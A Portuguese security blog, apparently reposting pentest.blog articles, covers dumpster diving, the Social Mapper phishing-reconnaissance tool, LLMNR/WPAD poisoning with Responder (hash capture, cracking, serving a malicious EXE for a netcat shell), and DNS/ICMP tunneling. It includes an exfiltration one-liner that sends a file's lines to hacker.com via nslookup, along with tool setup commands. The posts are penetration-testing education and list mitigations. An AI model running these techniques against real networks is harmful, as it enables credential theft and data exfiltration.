quarta-feira, 22 de agosto de 2018

DUMPSTER DIVING

E ae galera, mais um aritgo pra vocês. Dessa vez iremos falar sobre Dumpster Diving.

Dumpster diving é um método de obter informações sobre uma empresa apenas examinando seu lixo. Essa técnica era muito popular, especialmente nos anos 90, quando muitos hackers da "velha escola", como Kevin Mitnick, tinham conseguido hackear grandes empresas apenas descobrindo informações críticas através de seu lixo. Isso prova que empresas e organizações devem levar em consideração como administram e destruírem o lixo para mitigar essa ameaça.

Atualmente, o mergulho em lixeira pode fazer parte do teste de invasão física. As informações que o pentester deve coletar o ajudarão a construir seu cenário de ataque. Neste artigo, examinaremos o que um pentester deve procurar quando estiver realizando um mergulho.

Informação do empregado
Os documentos que contêm informações sobre nomes, departamentos, etc. de funcionários são muito importantes, pois podem ser usados ​​durante o pentest físico, como informações válidas. Saber as informações internas permitirá estabelecer mais facilmente a confiança, conforme você aparece como alguém válido para empresa.

Emails
Obviamente, você pode encontrar e-mails corporativos e de outras fontes como o Linkedin, site oficial etc. mas também documentos contendo algum endereço de e-mail é sempre uma boa descoberta, pois você poderá descobrir informações internas e também a estrutura das contas de e-mail dentro da empresa.

Referencias:
Email Permutator
theHarvester

Diagramas de Rede
Diagramas sobre a rede interna da empresa também podem ser encontrados no lixo. Os diagramas de rede em muitos casos contêm endereços IP, nomes de servidores, intervalos de rede e IPs de roteadores que podem permitir que o pentester tenha uma melhor compreensão sobre a rede e quais recursos são importantes.


Papéis

Esses tipos de documentos podem ajudar o pentester a criar falsificações dos documentos. Isso é essencial para qualquer engajamento de engenharia social, pois você pode enganar os funcionários para executar a ação desejada.


Faturas
As faturas revelam informações sobre os clientes e parceiros da empresa. Isso pode ser muito útil, pois o pentester pode usar essas informações para se disfarçar de funcionário da empresa, o que, nesse cenário, lhe proporcionará um acesso fácil ao alvo.


Usuários e senhas

É bastante comum que muitos funcionários da empresa mantenham seus nomes de usuário e senhas em notas adesivas. Essas informações podem ser encontradas com frequência no lixo, pois os administradores estão impondo que as senhas sejam alteradas a cada dois ou três meses. Essa descoberta revelará como nomes de usuário e senhas são construídas e com um pouco de sorte, algumas delas podem ser válidas.

Manuais e procedimentos operacionaisManuais e procedimentos operacionais são frequentemente encontrados no lixo da empresa. Isso ocorre porque esses documentos são atualizados com frequência e as versões mais antigas não são mais necessárias. Geralmente, nesses documentos, há muitas informações sobre processos e sistemas internos.


Assinaturas
Os documentos que contêm assinaturas especialmente de pessoas autorizadas, como CEOs, chefes de departamento e gerentes de contas, também são importantes, pois a assinatura pode ser facilmente copiada e usada em vários cenários como um documento de autorização válido.


Papel rasgado

Mesmo que muitas empresas estejam usando máquinas trituradoras para destruir seus documentos efetivamente, isso em algumas ocasiões não parece suficiente. Isso ocorre porque alguns trituradores não misturam suas lâminas quando estão destruindo o papel para que o papel seja triturado em tiras. Se você descobrir um pedaço de papéis em tiras, poderá tentar reconstruir o papel por conta própria ou usar uma solução de software como o unshredder.

Extra-off; cena do filme whoami
https://www.youtube.com/watch?time_continue=2803&v=Bb8Wrhifs84

quinta-feira, 9 de agosto de 2018

FERRAMENTA - SOCIAL MAPPER

E ae galera, trago pra vocês uma ferramenta de enumeração de redes sociais.


O Social Mapper é uma ferramenta de inteligência de código aberto que usa reconhecimento facial para correlacionar perfis de rede social em diferentes sites em grande escala.

O Social Mapper tem vários usos no setor de segurança, por exemplo, a coleta automatizada de grandes quantidades de perfis de rede social para uso em campanhas de phishing direcionadas. O reconhecimento facial ajuda esse processo removendo falsos positivos nos resultados da pesquisa, de forma que a análise desses dados é mais rápida para um operador humano.

O Social Mapper suporta as seguintes plataformas de rede social:
  • LinkedIn
  • Facebook
  • Twitter
  • GooglePlus
  • Instagram
  • VKontakte
  • Weibo
  • Douban
Ele usa vários tipos de entrada, como:
  • Um nome de organização, pesquisando pelo LinkedIn 
  • Uma pasta cheia de imagens nomeadas 
  • Um arquivo CSV com nomes e URL para imagens on-line
Como esta é uma ferramenta baseada em Python, ela deveria, teoricamente, ser executada em Linux, Mac e Windows. Os principais requisitos são Firefox, Selenium e Geckodriver. Para instalar a ferramenta e configurá-la, siga estas 4 etapas:

Instale a versão mais recente do Mozilla Firefox:
https://www.mozilla.org/en-GB/firefox/new
Instale o Geckodriver para o seu sistema operacional e verifique se ele está no seu path, no Mac e coloque-o em /usr/local/bin e no Linux /usr/bin. Você pode baixá-lo aqui:
https://github.com/mozilla/geckodriver/releases
Instale as bibliotecas necessárias do python 2.7:
git clone https://github.com/SpiderLabs/social_mapper
cd social_mapper/setup
pip install -r requirements.txt
Você precisara configurar o seu login nas redes sociais:
Abra social_mapper.py e insira as credenciais de redes social nas variáveis ​​globais na parte superior do arquivo.

Usando o Social Mapper
O Social Mapper é executado a partir da linha de comando usando uma combinação de parâmetros obrigatórios e opcionais. Você pode especificar opções como tipo de entrada e quais sites verificar junto com vários outros parâmetros que afetam a velocidade e a precisão.

Parâmetros exigidos
Para iniciar a ferramenta, 4 parâmetros devem ser fornecidos, um formato de entrada, o arquivo de entrada ou pasta e o modo básico de execução:
-f, --format : Especifique se o -i, --input é um arquivo de 'name', 'csv', 'imagefolder' ou 'socialmapper'
-i, --input : O nome da empresa, um arquivo csv, imagefolder ou arquivo html
-m, --mode : Rápido ou Preciso permite que você escolha pular alvos em potencial
Além disso, pelo menos um site de mídia social para verificar, deve ser selecionado incluindo um ou mais dos seguintes itens:
-a, --all : Seleciona todas as opções abaixo e verifica todos os sites para os quais o Social Mapper possui credenciais
-fb, --facebook : Checa Facebook
-tw, --twitter : Checa Twitter
-ig, --instagram : Checa Instagram
-li, --linkedin : Checa LinkedIn
-gp, --googleplus : Checa GooglePlus
-vk, --vkontakte : Checa VKontakte
-wb, --weibo : Checa Weibo
-db, --douban : Checa Douban
Para mais detalhes e uso da ferramenta:
https://github.com/SpiderLabs/social_mapper

sábado, 4 de agosto de 2018

O QUE É LLMNR & WPAD E COMO UTILIZA-LOS DURANTE O PENTEST

E ae galera, trazendo mais um artigo a respeito de pentest interno. Hoje iremos falar sobre LLMNR & WPAD.

Em um pentest interno, simulamos ataques que podem ser executados em serviços e protocolos mal configurados em nível de rede. Estes ataques são causados ​​principalmente pelo fato de que serviços como o Protocolo de Resolução de Endereço (ARP), Protocolo de Configuração Dinâmica de Hosts (DHCP), e Domain Name System (DNS) não estão configurados corretamente. Um dos ataques mais importantes que podem ser encontrados é, sem dúvida, Man-in-the-Middle (MITM). Medidas de segurança contra este ataque podem ser tomadas em equipamentos de rede, como roteadores e switches. No entanto, devido às fraquezas inerentes de alguns protocolos, podemos realizar o mesmo ataque com métodos diferentes. Por esta razão, o tema principal deste artigo será os ataques Man-in-the-Middle contra os: LLMNR, NetBIOS e WPAD. Antes de começar, gostaria de explicar como os computadores têm sistema operacional Windows se comunicar uns com os outros na mesma rede e executar a resolução de nomes. Antes de começar, gostaria de explicar como os computadores que tem o sistema operacional Windows se comunicam uns com os outros na mesma rede.

Esse processo prossegue com algumas etapas da seguinte maneira:
  1. O arquivo hosts no sistema de arquivos é verificado
    • Em seus arquivos de configuração, indaga sobre as informações do sistema que deseja alcançar. Ao mesmo tempo, verifica se o dispositivo acessado é ele mesmo.
    • Os arquivos de configuração estão localizados em: C:\Windows\System32\drivers\etc
     
  2. Verifique o cache DNS local
    • Primeiro de tudo, o cache é verificado. Se as informações para o dispositivo a ser acessado existirem no cache, essas informações serão usadas.
    • O cache do DNS pode ser ilustrado com o comando ipconfig / displaydns.
     
  3. Enviar consulta para o DNS
    • Se o computador não encontrar nenhuma informação dos arquivos de configuração sobre o dispositivo que deseja acessar, ele envia uma consulta ao servidor DNS na rede local.
     
  4. Envie a consulta LLMNR
    • LLMNR é um protocolo que é processado quando o servidor DNS falha na resolução de nomes.
     
  5. Envie a consulta NetBIOS-NS
    • Ele funciona na camada “Session” do modelo OSI. O NetBIOS é uma API, não um protocolo, usado para comunicação entre sistemas operacionais Windows.
    • O nome NetBIOS do computador é o mesmo que o nome do computador.
O que é o LLMNR e o NetBIOS-NS?
LLMNR (Resolução de Nome de Multicast Local de Link) e NetBIOS-NS (Serviço de Nome) são dois componentes que os sistemas operacionais Windows usam para resolução de nomes e comunicação. O LLMNR foi usado pela primeira vez com o sistema operacional Windows Vista e é visto como a continuação do serviço NetBIOS-NS.

Nos casos em que o servidor DNS falha em consultas de resolução de nomes, esses dois serviços continuam a nomear a resolução. Os serviços LLMNR e NetBIOS-NS tentam resolver consultas que o servidor DNS não pode responder. Na verdade, esta é a forma de cooperação entre os computadores do sistema operacional Windows. 

O protocolo LLMNR é servido pelo endereço IP multicast do link-scope 224.0.0.252 para IPv4 e de FF02: 0: 0: 0: 0: 0: 1: 3 para IPv6. Executa operações próprias através da porta TCP55 / UDP 5355.
Por exemplo, ao tentar pingar para test.local que não está na rede, a primeira consulta vai para o servidor DNS. Se o servidor DNS não puder resolver esse nome de domínio, a consulta será redirecionada para o protocolo LLMNR. LLMNR não é uma alternativa ao protocolo DNS; É uma solução aprimorada para situações em que as consultas ao DNS falham. É suportado por todos os sistemas operacionais comercializados após o Windows Vista.


O NetBIOS é uma API que os sistemas da rede local usam para se comunicar uns com os outros. Existem três serviços NetBIOS diferentes.
  • Name Service, ele usa a porta UDP 137 para uso no registro de nomes e na resolução de nomes.
  • Datagram Distribution Service, ele usa a porta UDP 138 para comunicação sem conexão.
  • Session Service, executa operações na porta TCP 139 para comunicação orientada por conexão.
O protocolo LLMNR é usado após a consulta DNS malsucedida. E, em seguida, é um pacote NetBIOS-NS, que é uma consulta de divulgação, está incluído no tráfego.


Teoricamente, esses sistemas aparentemente não têm proteção contra ataques do tipo MITM na rede local. Um invasor pode obter dados confidenciais, como nome de usuário e senha, com ataques bem-sucedidos.

Capture a hash NTLMv2 manipulando o tráfego
O cenário principal será realizado conforme mostrado abaixo:

  1. A vítima tentará se conectar ao sistema de compartilhamento de arquivos, chamado filesrvr, que digitou incorretamente.
  2. A resolução de nomes, que será executada com as etapas mencionadas anteriormente, será respondida no computador da vítima primeiro.
  3. Na etapa 2, como o servidor DNS não tem um registro correspondente, o nome do sistema é enviado como consulta LLMNR, NetBIOS-NS.
  4. O invasor intercepta o tráfego de rede, captura a consulta de resolução de nomes.
O invasor interceptara e responderá a todas as consultas LLMNR e NetBIOS-NS. Desta forma, é possível manipular o tráfego com uma sessão falsa e obter hashes de nome de usuário e senha.

Existem diferentes ferramentas para fazer este ataque.
Começamos a interceptar o tráfego da rede especificando qual interface de rede.


Nossa vítima tenta conectar o compartilhamento filesrvr


E estamos recebendo o SMB-NTLMv2 Hash!


Como sabemos, as hashes NTLMv2 não podem ser usados ​​diretamente para ataques. Agora faremos o ataque da Hash. Assim, precisamos executar o ataque de quebra de senha para obter a senha de texto simples da hash capturado. Existem várias ferramentas para hash cracking; John the Ripper, Hashcat, Caim e Abel, Hydra, etc. Usaremos o hashcat para "quebrar" a hash NTLMv2 que recebemos do Responder.

A ferramenta Respondente mantém os valores de hash que detecta no diretório /usr/share/responder.


A hash NTLMv2 que obtivemos é a seguinte:


O Hashcat é uma ferramenta de quebra de senhas de código aberto. Além disso, tem suporte a GPU. Pode detectar o padrão de hash com o parâmetro -m. No final do comando, ele iniciará um ataque de força bruta usando dicionário.


 E voila! Nós recebemos a senha que é Abcde12345.

O que é o WPAD?
As organizações permitem que os funcionários acessem as internets por meio de servidores proxy para aumentar o desempenho, garantir a segurança e rastrear o tráfego. Os usuários que se conectaram à rede corporativa precisam conhecer o servidor proxy para uma URL específica sem fazer configuração. O protocolo WPAD (Web Proxy Auto-Discovery Protocol) é um método usado pelos clientes para localizar a URL de um arquivo de configuração usando os métodos de descoberta DHCP e / ou DNS. Uma vez concluída a detecção e o download do arquivo de configuração, ele pode ser executado para determinar o proxy de uma URL especificada.

Como funciona o WPAD?
O cliente deseja acessar o arquivo de configuração wpad.dat para configuração de proxy. Ele procura computadores nomeados como "wpad" na rede local para encontrar esse arquivo. E, em seguida, as seguintes etapas são realizadas:
  1. Se o servidor DHCP estiver configurado, o cliente recuperará o arquivo wpad.dat do servidor DHCP (se tiver êxito, a etapa 4 será obtida).
  2. A consulta wpad.corpdomain.com é enviada ao servidor DNS para localizar o dispositivo que está distribuindo a configuração do Wpad. (Se bem sucedido, o passo 4 é tomado).
  3. Consulta LLMNR enviada para WPAD (se houver sucesso, vá para a etapa 4, caso contrário, o proxy não poderá ser usado).
  4. Faça o download do wpad.dat e use.
De acordo com a seqüência acima, o ataque de envenenamento de DHCP pode ser feito na primeira etapa. Ataque de envenenamento de DNS pode naturalmente ser executado para a segunda etapa. Mas, como observei no começo deste artigo, os dispositivos de rede configurados previnem esses ataques. Quando uma consulta é feita através do LLMNR, esta solicitação irá para todos os clientes na rede via transmissão. Nesse ponto, o invasor envia seu arquivo wpad.dat para os clientes, agindo como um servidor wpad.

O importante é que o protocolo WPAD é construído em sistemas operacionais Windows. Essa configuração pode ser vista na seção Configurações de LAN do navegador Internet Explorer.


Com essa configuração, o Internet Explorer faz uma consulta de resolução de nome WPAD em toda a rede.

Atacando o WPAD
O Responder é um ótimo utilitário para o ataque MITM. O Responder atende a um servidor WPAD falso e responde à resolução de nomes WPAD dos clientes. O cliente solicita o arquivo wpad.dat desse falso servidor WPAD. O Respondente cria uma tela de autenticação e solicita que os clientes insiram o nome de usuário e a senha que eles usam no domínio. Naturalmente, os funcionários escrevem nomes de usuário e senhas usados ​​no nome do domínio. Finalmente, podemos ver seu nome de usuário e senhas.

Usar a ferramenta Responder é muito simples
git clone https://github.com/SpiderLabs/Responder.git
Eu configurei os seguintes sistemas para simular esse ataque.


Agora, mandamos o falso servidor HTTP e esperamos por senhas em texto puro.


E nossa vítima verá a seguinte caixa de login e, naturalmente, digitará o nome de usuário e a senha.

 


E a senha está abaixo:


Backdoor com Responder
O Responder não é apenas o ataque MiTM para o serviço WPAD. Isso pode forçar as vítimas a baixarem arquivos maliciosos direcionando-as para uma página da web falsa. A engenharia social pode ser usada para preparar realisticamente a página da web a ser usada para esse ataque. No entanto, o Respondente também possui uma página de redirecionamento falsa. Tudo o que precisamos fazer é fazer algumas mudanças no arquivo responder.conf. Nós configuramos os parâmetros “Servir-HTML” e “Servir-EXE” para “On”.
[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On 
E executamos o Respondente novamente.
python Responder.py -I eth0 -i 10.7.7.31 -r On -w On
Agora, quando a vítima tenta se conectar com a internet, ela só verá a página seguinte. E, por acaso, a vítima clica na conexão do Proxy Client e o Bind faz o download do CMD Shell, para que possamos nos conectar ao ponto de conexão da vítima com o netcat.


Mitigações contra o WPAD
A primeira solução para esse ataque é criar uma entrada de DNS com “WPAD” que aponta para o servidor proxy corporativo. Assim, o invasor não poderá manipular o tráfego.

A segunda solução é desabilitar “Configurações de Proxy de Autodetectação” em todos os Internet Explorer com Diretiva de Grupo.

Referências:
https://en.wikipedia.org/wiki/NT_LAN_Manager
https://github.com/SpiderLabs/Responder
https://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol
http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
https://www.us-cert.gov/ncas/alerts/TA16-144A
Esse foi mais um artigo retirado do site pentest.blog, link do artigo:
https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

quinta-feira, 2 de agosto de 2018

DATA EXFILTRATION - PÓS EXPLORAÇÃO

E ae galera, nesse artigo estarei falando sobre pós exploração em pentest; vamos falar sobre Data Exfiltration (Tunneling).


A exfiltração de dados, também chamada de extrusão de dados, é a transferência não autorizada de dados de um computador. Esses tipos de ataques contra a rede corporativa podem ser manuais e executados por alguém com USB ou podem ser automatizados e executados em uma rede. Neste artigo, vamos nos concentrar em técnicas de extração de dados baseadas em rede durante o pentest.

Tunneling
Como adversário, presumimos que não temos credenciais de domínio válidas. O que significa que não podemos usar o proxy da empresa para alcançar o lado da rede. Se não estivermos alcançando a Internet, não poderemos exfiltrar informações confidenciais. Assim, o tunelamento desempenha um papel muito importante.

Tunneling é quando, em vez de enviar um pacote diretamente através da rede, você envia dentro de outra conexão (muitas vezes criptografada) por meio de encapsulamento. Como os dados reais são transmitidos pela rede por meio de um protocolo diferente, é possível acessar a Internet.

Dependendo do tipo de protocolo usado, os nomes de encapsulamento podem mudar. Nós cobriremos os mais populares.

DNS Tunneling
Eu gostaria de mostrar coisas muito básicas, mas importantes antes de pular diretamente para o tunelamento de DNS.


Primeira coisa, devemos identificar o servidor DNS interno. É fácil. Agora é hora de realizar vários testes. Precisamos responder as seguintes perguntas:
  • Somos capazes de nos comunicar com o DNS interno? 
  • Somos capazes de resolver o domínio interno através do DNS da empresa? 
  • podemos resolver o domínio externo (por exemplo, pentest.club) via DNS interno? 
  • Podemos nos comunicar diretamente com o DNS externo?
 
O primeiro comando mostra que podemos resolver o domínio interno, o segundo mostra que podemos resolver um domínio externo através do servidor DNS da empresa. Isso significa que podemos realizar tunelamento de DNS, mas eu gostaria de chamar a atenção para o terceiro comando. A maioria das redes seguras não permitirá a comunicação com o DNS externo. Se você tiver permissão para fazer isso, este é outro problema de segurança que você deve denunciar!
 
Como o DNS Tunneling funciona?
Embora os gráficos que preparamos especificamente para este artigo sejam muito descritivos, descreveremos cada etapa individualmente.
 
 
  1. Um atacante tem um domínio sob seu controle. Digamos que seja hacker.com. O atacante envia uma solicitação de DNS para o servidor DNS interno, a fim de resolver um hacker.com.
  2. O servidor DNS responsável para hacker.com está localizado em outro lugar na internet. Assim, ele redireciona a solicitação para o servidor raiz por meio do Firewall.
  3. Após um grande número de redirecionamentos, uma solicitação de DNS chega a um servidor DNS responsável de hacker.com, que está sob controle do atacante.
  4.  Como a solicitação é gerada por um atacante, não é importante saber qual é a resposta.
  5.  Como a solicitação é gerada por um adversário, não é importante saber qual é a resposta.
  6.  E finalmente, o adversário recebe uma resposta.
Isso nos mostra como se comunicar com um servidor localizado fora da rede da empresa. Até aí tudo bem, mas acabamos de encontrar uma maneira de se comunicar com um servidor externo. Nós não fizemos nada sobre a exfiltração de dados.
Digamos que tenhamos dados confidenciais como abaixo:
 
 
E nós queremos exfiltrar através de uma rede segura:
for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done
Acima o comando shell: lê um arquivo que contém informações confidenciais linha a linha. Em seguida, executa uma codificação base64 em cada linha. E, em seguida, use-o como um subdomínio durante a consulta de DNS. Quando a consulta chegar ao servidor DNS responsável de hacker.com, podemos rastrear os registros de DNS, analisá-los e decodificar subdomínios para descobrir os dados confidenciais correspondentes. Essa técnica funciona como um encanto, mas tem limitações a seguir:
  1. É uma comunicação unidirecional. Não podemos enviar um comando de volta do C2 (DNS autoritativo).
  2. Lendo um arquivo muito fácil. O que faremos quando estivermos lidando com dados de 100 MB? Pacotes DNS podem chegar a uma ordem diferente. 
Assim, precisamos de uma ferramenta que cubra todos os problemas. Por sorte, temos o dnscat2.
 
Como configurar e usar o Dnscat2
Dnscat2 fornece aplicativo cliente e servidor. Os comandos a seguir são necessários para criar um servidor DNS2:
git clone https://github.com/iagox86/dnscat2.git 
cd dnscat2/server/
gem install bundler
bundle install
 Para o cliente que está localizado na rede da empresa:
 git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
Agora é hora de iniciar um servidor Dnscat2.
 
 
opendns.online é um nome de domínio sob o controle do atacante. É muito importante ter um servidor DNS autoritativo para um opendns.online.

Dnscat gera uma chave secreta. Na chave será usado na forma "segredo compartilhado" para comunicação criptografada durante o tunelamento. Além disso, o dnscat oferece dois comandos diferentes para o cliente. Se você puder enviar uma consulta de DNS ao servidor externo, mas não se esqueça de que a maioria das redes seguras não permite que ninguém use serviços de DNS externos.

Execute o seguinte comando no site do cliente como abaixo:


Você verá uma mensagem "new window created" no servidor depois que a sessão for estabelecida.

Vamos ver os pacotes DNS capturados durante essa comunicação. A captura de tela a seguir mostra que 12.0.0.129 (client) envia uma solicitação de resolução do CNAME para o servidor DNS interno 12.0.0.2 (DNS interno).


O cliente DNSCAT2 envia uma solicitação de resolução de vários TXT para o servidor e, em seguida, inicia a comunicação criptografada por meio de CNAMEs. A partir desse ponto, um atacante pode fazer quase tudo através desse túnel.



ICMP Tunneling
O tunelamento ICMP funciona injetando dados arbitrários em um pacote de echo enviado para um computador remoto. O computador remoto responde da mesma maneira, injetando uma resposta em outro pacote ICMP e enviando-o de volta.

Basicamente, estamos enviando dados reais para dentro do ICMP. Nós só precisamos de uma coisa antes de fazer o tunelamento ICMP. Posso pingar um servidor externo?


Sim, nós podemos. Caso contrário, o tunelamento ICMP seria impossível de fazer. Graças a Dhaval Kapil, também temos uma ferramenta para tunelamento ICMP chamada icperunnel. A instalação disso é muito fácil:
git clone https://github.com/DhavalKapil/icmptunnel
make
./icmptunnel -s 10.0.1.1
No lado do cliente, descubra o seu gateway e a interface correspondente:
route -n
Edite client.sh e substitua <server> pelo endereço IP do servidor. <gateway> com endereço de gateway obtido acima e similarmente para <interface>

Execute o túnel no seu cliente:
./icmptunnel -c IPADDRESS
Mitigações
Não é fácil lidar com esse tipo de ataque de tunelamento, especialmente o DNS Tunneling. Mas as ações a seguir ajudarão você a detectar as ferramentas mais usadas, como dnscat2 etc.
  • Não permita que ninguém da sua rede envie solicitações de DNS ao servidor externo. Todos devem usar seu próprio servidor DNS.
  • Bloqueie o protocolo ICMP.
  • Rastreie os números de consulta do DNS pelos usuários. Gere uma notificação se houver alguém que atinja os limites.
Esse artigo foi retirado do site pentest.blog, link do artigo:
https://pentest.blog/data-exfiltration-tunneling-attacks-against-corporate-network/